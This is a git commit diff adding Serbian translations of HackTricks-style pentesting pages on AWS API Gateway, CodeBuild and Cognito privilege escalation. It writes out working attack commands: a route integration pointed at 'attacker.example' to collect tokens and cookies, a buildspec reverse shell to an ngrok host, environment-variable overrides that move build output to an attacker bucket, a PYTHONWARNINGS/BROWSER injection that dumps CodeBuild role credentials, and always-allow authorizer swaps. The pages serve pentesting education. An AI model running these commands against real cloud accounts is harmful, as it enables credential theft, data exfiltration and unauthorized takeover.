Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-15 21:35:25 +00:00
parent a18d3f6cd2
commit 1d8730378c
6 changed files with 298 additions and 123 deletions

View File

@@ -10,23 +10,46 @@ Za više informacija pogledajte:
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
### Politika resursa
Izmenite resource policy API gateway(s) da biste sebi omogućili pristup.
Izmenite resource policy API gateway(s) kako biste sebi odobrili pristup njima
### Modify Lambda Authorizers
### Izmenite Lambda Authorizers
Izmenite kod lambda authorizers da biste sebi omogućili pristup svim endpoint-ima.\
Ili jednostavno uklonite korišćenje authorizera.
Izmenite kod lambda authorizers da biste sebi obezbedili pristup svim endpoints.\
Ili jednostavno uklonite upotrebu authorizera.
Ako imate control-plane dozvole za **kreirati/azurirati authorizera** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) možete takođe **preusmeriti authorizera na Lambda koja uvek dozvoljava**.
REST APIs (promene obično zahtevaju deployment):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
HTTP API-jevi / `apigatewayv2` (često stupa na snagu odmah):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissions
Ako resurs koristi IAM authorizer, možete sebi omogućiti pristup izmenom IAM permissions.\
Ili jednostavno uklonite korišćenje authorizera.
Ako resurs koristi IAM authorizer, možete sebi dati pristup tom resursu menjajući IAM permissions.\
Ili jednostavno uklonite korišćenje authorizer-a.
### API Keys
Ako se koriste API keys, možete ih leak-ovati da biste održali persistence ili čak kreirali nove.\
Ili jednostavno uklonite korišćenje API keys.
Ako se koriste API keys, možete napraviti leak tih ključeva da biste održali persistence ili čak kreirali nove.\
Ili jednostavno uklonite upotrebu API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,37 +10,60 @@ Za više informacija pogledajte:
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Access unexposed APIs
### Pristup neizloženim API-jevima
Možete kreirati endpoint u [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno preko EC2 mašine) i dodeliti security group koja dozvoljava sve konekcije.\
Zatim, sa EC2 mašine bićete u mogućnosti da pristupite endpointu i samim tim pozovete gateway API koji ranije nije bio izložen.
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
### Bypass Request body passthrough
Ova tehnika je pronađena u [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Kao što je naznačeno u [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, po defaultu, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** hedera zahteva, proslediće zahtev ka back end-u bez transformacije.
Kao što je navedeno u [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, pri proveri **Content-Type** headera zahteva prosleđuje zahtev na backend bez transformacije.
Dakle, u CTF-u API Gateway je imao integration template koji je **preventing the flag from being exfiltrated** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
Međutim, slanje zahteva sa **`Content-type: text/json`** bi onemogućilo taj filter.
Međutim, slanje request-a sa **`Content-type: text/json`** bi zaobišlo taj filter.
Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljan dynamoDB upit bez ikakvog ograničenja slanjem POST zahteva sa upitom u telu i koristeći header `X-HTTP-Method-Override: GET`:
Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljan dynamoDB query bez ikakvog ograničenja tako što bi se poslao `POST` request sa query-jem u body-ju i korišćenjem header-a `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
U sekciji **Enumeration** možeš videti kako da **dohvatiš usage plan** ključeva. Ako imaš key i on je **ograničen** na X upotreba **po mesecu**, možeš ga jednostavno **koristiti i izazvati DoS**.
U odeljku **Enumeration** možete videti kako da **dohvatite plan upotrebe** ključeva. Ako posedujete ključ i on je **ograničen** na X korišćenja **po mesecu**, možete ga jednostavno **koristiti i izazvati DoS**.
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
Ako možete da ažurirate **HTTP API integration**, možete **repoint** osetljivu rutu (npr. `/login`, `/token`, `/submit`) na HTTP endpoint kojim kontroliše napadač i tiho **prikupiti zaglavlja i tela zahteva** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets koje šalju interni jobovi, itd.).
Primer workflow:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Beleške:
- Za **HTTP APIs**, promene obično stupaju na snagu odmah (za razliku od **REST APIs**, gde obično morate kreirati deployment).
- Da li možete da ukažete na proizvoljan URL zavisi od integration type/config; u nekim slučajevima možete i promeniti integration type prilikom patching-a.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
Napadač sa permisijama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvrše maliciozne skripte**.
Napadač sa dozvolama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvršavaju zlonamerne skripte**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potential Impact**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
**Potencijalni uticaj**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
> [!NOTE]
> Potrebno je testiranje
> Potrebno testiranje
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
Napadač sa permisijama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni podešavanja keširanja kako bi dobio neovlašćen pristup keširanim podacima**.
Napadač koji ima dozvole `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni postavke keširanja kako bi neovlašćeno pristupio keširanim podacima**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,7 +99,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **izmeniti odgovor metode postojećeg API Gateway REST API metoda kako bi uključio prilagođena zaglavlja ili predloške odgovora koji leak osetljive informacije ili izvršavaju maliciozne skripte**.
Napadač koji ima dozvole `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **izmeniti odgovor metode (method response) postojećeg API Gateway REST API metoda tako da uključi prilagođena zaglavlja ili šablone odgovora koji leak osetljive informacije ili izvršavaju zlonamerne skripte**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencijalni uticaj**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
**Potencijalni uticaj**: curenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup resursima API-ja.
> [!NOTE]
> Potrebno testiranje
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **izmeniti podešavanja API Gateway REST API-ja kako bi onemogućio beleženje ili promenio minimalnu verziju TLS-a, potencijalno oslabljujući bezbednost API-ja**.
Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **izmeniti podešavanja API Gateway REST API-ja da onemogući logovanje ili promeni minimalnu TLS verziju, potencijalno oslabljujući bezbednost API-ja**.
```bash
API_ID="your-api-id"
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencijalni uticaj**: Oslabljivanje sigurnosti API-ja, potencijalno omogućavanje neovlašćenog pristupa ili izlaganje osetljivih informacija.
**Potencijalni uticaj**: Oslabljivanje bezbednosti API-ja, potencijalno omogućavajući neovlašćen pristup ili otkrivanje osetljivih informacija.
> [!NOTE]
> Potrebno testiranje
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti te ključeve za neovlašćen pristup API-ima**.
Napadač koji ima dozvole `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti ove keys za neovlašćen pristup API-ima**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,7 +147,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**Potential Impact**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
**Potencijalni uticaj**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
> [!NOTE]
> Potrebno testiranje

View File

@@ -12,24 +12,24 @@ Za više informacija pogledajte:
### `apigateway:POST`
Sa ovom dozvolom možete generisati API ključeve za konfigurisane API-je (po regionu).
Sa ovom dozvolom možete generisati API keys za API-je koji su konfigurisani (po regionu).
```bash
aws --region <region> apigateway create-api-key
```
**Potential Impact:** Ne možete izvesti privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
**Potencijalni uticaj:** Ne možete izvesti privesc ovom tehnikom, ali možete doći do osetljivih informacija.
### `apigateway:GET`
Sa ovom dozvolom možete dohvatiti generisane API keys konfigurisanih API-ja (po regionu).
Sa ovom dozvolom možete dobiti generisane API keys API-ja koji su konfigurisani (po regionu).
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```
**Potencijalni uticaj:** Ne možete izvršiti privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
**Potencijalni uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili njegovo pozivanje i zloupotrebili potencijalni pristup koji API gateway može imati (npr. pozivanjem ranjivog lambda).
Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi dali pristup za njegovo pozivanje i zloupotrebili potencijalni pristup koji API gateway može imati (npr. pozivanje ranjivog lambda).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -42,7 +42,7 @@ aws apigateway update-rest-api \
> [!NOTE]
> Potrebno testiranje
Napadač sa permisijama `apigateway:PutIntegration`, `apigateway:CreateDeployment`, i `iam:PassRole` može **dodati novu integraciju postojećem API Gateway REST API-ju sa Lambda funkcijom koja ima pridružen IAM role**. Napadač zatim može **pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno stekne pristup resursima povezanим sa IAM role**.
Napadač sa dozvolama `apigateway:PutIntegration`, `apigateway:CreateDeployment`, и `iam:PassRole` može **dodati novu integraciju postojećem API Gateway REST API-ju koristeći Lambda funkciju kojoj je pridružena IAM role**. Napadač zatim može **pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobije pristup resursima povezanim sa IAM role**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potencijalni uticaj**: Pristup resursima povezanim sa IAM role Lambda funkcije.
**Potencijalni uticaj**: Pristup resursima povezanim sa IAM rolom Lambda funkcije.
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
> Potrebno testiranje
> Treba testirati
Napadač sa dozvolama `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway authorizer** da zaobiđe bezbednosne provere ili da izvrši proizvoljan kod kada se prave API zahtevi.
Napadač koji ima dozvole `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway authorizer** kako bi zaobišao bezbednosne provere (npr. preusmeriti ga na Lambda funkciju koja uvek vraća "allow") ili da izvrši proizvoljan kod kada se pošalju API zahtevi.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Mogući uticaj**: Zaobilaženje bezbednosnih provera, neautorizovan pristup API resursima.
**Potencijalni uticaj**: Zaobilaženje bezbednosnih provera, neovlašćen pristup API resursima.
#### HTTP APIs / `apigatewayv2` varijanta
Za HTTP APIs (API Gateway v2), ekvivalentna operacija je ažuriranje authorizer-a putem `apigatewayv2`:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink`
> [!NOTE]
> Potrebno testiranje
Napadač sa dozvolom `apigateway:UpdateVpcLink` može **izmeniti postojeći VPC Link tako da pokazuje na drugačiji Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj ka neautorizovanim ili malicioznim resursima**.
Napadač sa dozvolom `apigateway:UpdateVpcLink` može **izmeniti postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući saobraćaj privatnog API-ja ka neautorizovanim ili zlonamernim resursima**.
```bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

View File

@@ -4,7 +4,7 @@
## codebuild
Više informacija u:
Više informacija potražite u:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@ Više informacija u:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Dovoljno je imati samo jednu od ovih dozvola da se pokrene build sa novim buildspec-om i ukrade token iam role dodeljene projektu:
Dovoljno je imati samo jednu od ovih dozvola da bi se pokrenuo build sa novim buildspec i ukrao token iam role dodeljene projektu:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -58,16 +58,82 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
{{#endtab }}
{{#endtabs }}
**Napomena**: Razlika između ova dva komanda je:
**Napomena**: Razlika između ova dva komanda je u tome da:
- `StartBuild` pokreće jedan build job koristeći specifičan `buildspec.yml`.
- `StartBuildBatch` omogućava pokretanje serije build-ova sa složenijim konfiguracijama (npr. pokretanje više build-ova paralelno).
- `StartBuildBatch` vam omogućava da pokrenete batch buildova, sa složenijim konfiguracijama (npr. pokretanje više buildova paralelno).
**Potencijalni uticaj:** Direktan privesc na pridružene AWS Codebuild role.
**Potencijalni uticaj:** Direktan privesc na pridružene AWS CodeBuild role.
#### StartBuild Override varijabli okruženja
Čak i ako **ne možete da izmenite projekat** (`UpdateProject`) i **ne možete da prepišete buildspec**, `codebuild:StartBuild` i dalje omogućava prepisivanje varijabli okruženja u vreme builda putem:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
Ako build koristi varijable okruženja za kontrolu ponašanja (destination buckets, feature flags, proxy settings, logging, itd.), ovo može biti dovoljno da **exfiltrate secrets** koje build role može pristupiti ili da se dobije **code execution** unutar builda.
##### Primer 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
Ako build objavljuje artefakt u bucket/putanju kontrolisanu varijablom okruženja (na primer `UPLOAD_BUCKET`), prepišite je na bucket koji kontroliše napadač:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Primer 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
Ako build pokreće `python3` (uobičajeno u buildspecs), ponekad možete dobiti izvršavanje koda bez diranja buildspec-a zloupotrebom:
- `PYTHONWARNINGS`: Python rešava polje *category* i importuje dotted paths. Postavljanjem na `...:antigravity.x:...` prisiljavate uvoz stdlib modula `antigravity`.
- `antigravity`: poziva `webbrowser.open(...)`.
- `BROWSER`: kontroliše šta `webbrowser` izvršava. Na Linuxu je odvojen sa `:`. Korišćenjem `#%s` čini URL argument shell komentarom.
Ovo može da se iskoristi da se ispišu CodeBuild role credentials (sa `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) u CloudWatch logs, i potom ih povratite ako imate dozvole za čitanje logova.
<details>
<summary>Proširivo: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi da **escalate privileges** na bilo koju codebuild IAM rolu kreiranjem i pokretanjem jedne.
Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi **eskalirati privilegije na bilo koju codebuild IAM ulogu** kreiranjem i pokretanjem takvog projekta.
{{#tabs }}
{{#tab name="Example1" }}
```bash
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
@@ -168,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
{{#endtab }}
{{#endtabs }}
**Potencijalni uticaj:** Direct privesc to any AWS Codebuild role.
**Potencijalni uticaj:** Direktan privesc na bilo koju AWS Codebuild ulogu.
> [!WARNING]
> U **Codebuild container** fajlu `/codebuild/output/tmp/env.sh` nalaze se svi env vars potrebni za pristup **metadata credentials**.
> U **Codebuild container** fajlu `/codebuild/output/tmp/env.sh` se nalaze svi env vars potrebni za pristup **metadata credentials**.
> Ovaj fajl sadrži **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL path** za pristup credentials. Izgledaće otprilike ovako `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Ovaj fajl sadrži **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL path** za pristup credential-ima. Biće nešto poput ovoga `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Dodajte to na URL **`http://169.254.170.2/`** i moći ćete da dump-ujete role credentials.
> Takođe sadrži **env variable `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletan URL za dobijanje **metadata info about the container**.
> Pored toga, on takođe sadrži **env variable `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletan URL za dobijanje **metadata info about the container**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Kao i u prethodnom odeljku, ako umesto kreiranja build project-a možete da ga izmenite, možete navesti IAM Role i steal the token
Kao i u prethodnom odeljku, ako umesto kreiranja build projekta možete da ga modifikujete, možete navesti IAM Role i ukrasti token
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -219,7 +285,7 @@ aws codebuild start-build --project-name codebuild-demo-project
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Kao u prethodnom odeljku, ali **bez `iam:PassRole` dozvole**, možete zloupotrebiti ove dozvole da **izmenite postojeće Codebuild projekte i pristupite ulozi koja im je već dodeljena**.
Poput prethodnog dela, ali **bez `iam:PassRole` dozvole**, možete zloupotrebiti ove dozvole da **izmenite postojeće Codebuild projekte i pristupite ulozi koja im je već dodeljena**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -295,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Mogući uticaj:** Direktan privesc na priložene AWS Codebuild roles.
**Potencijalni uticaj:** Direktni privesc na prikačene AWS Codebuild roles.
### SSM
Ako imate **enough permissions to start a ssm session** moguće je ući **inside a Codebuild project** koji se gradi.
Ako imate **dovoljne dozvole za pokretanje ssm sesije**, moguće je ući **inside a Codebuild project** koji se gradi.
The codebuild project will need to have a breakpoint:
@@ -316,13 +382,13 @@ Zatim:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
Za više informacija [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
For more info [**pogledajte dokumentaciju**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Attacker koji može da pokrene ili ponovo pokrene build određenog CodeBuild projekta koji čuva svoj `buildspec.yml` fajl na S3 bucket-u na koji attacker ima write access, može dobiti command execution u CodeBuild procesu.
Attacker koji može da pokrene/ponovo pokrene build određenog CodeBuild projekta koji čuva svoj `buildspec.yml` fajl na S3 bucket na koji attacker ima write access, može dobiti izvršavanje komandi u CodeBuild procesu.
Napomena: eskalacija je relevantna samo ako CodeBuild worker ima drugačiju ulogu, po mogućstvu privilegovaniju, od uloge attackera.
Napomena: eskalacija je relevantna samo ako CodeBuild worker ima drugačiju role, po mogućnosti privilegovaniju, od one koju ima attacker.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -339,7 +405,7 @@ aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
```
Možete koristiti nešto poput ovog **buildspec** da dobijete **reverse shell**:
Možete koristiti nešto poput ovog **buildspec** da biste dobili **reverse shell**:
```yaml:buildspec.yml
version: 0.2
@@ -348,13 +414,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Uticaj:** Direktan privesc na rolu koju koristi AWS CodeBuild worker, koja obično ima visoke privilegije.
**Impact:** Direct privesc na ulogu koju koristi AWS CodeBuild worker, koja obično ima visoke privilegije.
> [!WARNING]
> Imajte na umu da se buildspec može očekivati u zip formatu, pa bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zapakuje i otpremi
> Imajte na umu da se buildspec može očekivati u zip formatu, pa bi attacker morao da preuzme, raspakuje, izmeni `buildspec.yml` iz korenskog direktorijuma, ponovo zapakuje i otpremi
Više detalja možete pronaći [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Potencijalni uticaj:** Direktan privesc na pridružene AWS Codebuild role.
**Potential Impact:** Direct privesc na pridružene AWS Codebuild uloge.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,17 +10,17 @@ Za više informacija o Cognito pogledajte:
../../aws-services/aws-cognito-enum/
{{#endref}}
### Pribavljanje kredencijala iz Identity Pool
### Prikupljanje kredencijala iz Identity Pool
Pošto Cognito može dodeliti **IAM role credentials** i **authenticated** i **unauthenticated** **users**, ako pronađete **Identity Pool ID** neke aplikacije (trebalo bi da je hardkodovan u njoj) možete dobiti nove kredencijale i time ostvariti privesc (unutar AWS naloga za koji verovatno ranije niste imali nikakve kredencijale).
Pošto Cognito može dodeliti **IAM role credentials** i **authenticated** i **unauthenticated** **users**, ako pronađete **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako ostvariti privesc (u AWS nalogu u kojem verovatno ranije niste imali nikakve kredencijale).
For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
Za više informacija [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).
**Potential Impact:** Direktan privesc na services role pridružene unauth users (i verovatno i onoj pridruženoj auth users).
**Potential Impact:** Direktan privesc na role servisa pridružene unauth users (i verovatno i na onu pridruženu auth users).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Sa ovom dozvolom možete **grant any cognito role** authenticated/unauthenticated korisnicima cognito aplikacije.
Sa ovom dozvolom možete **grant any cognito role** to the authenticated/unauthenticated users of the cognito app.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
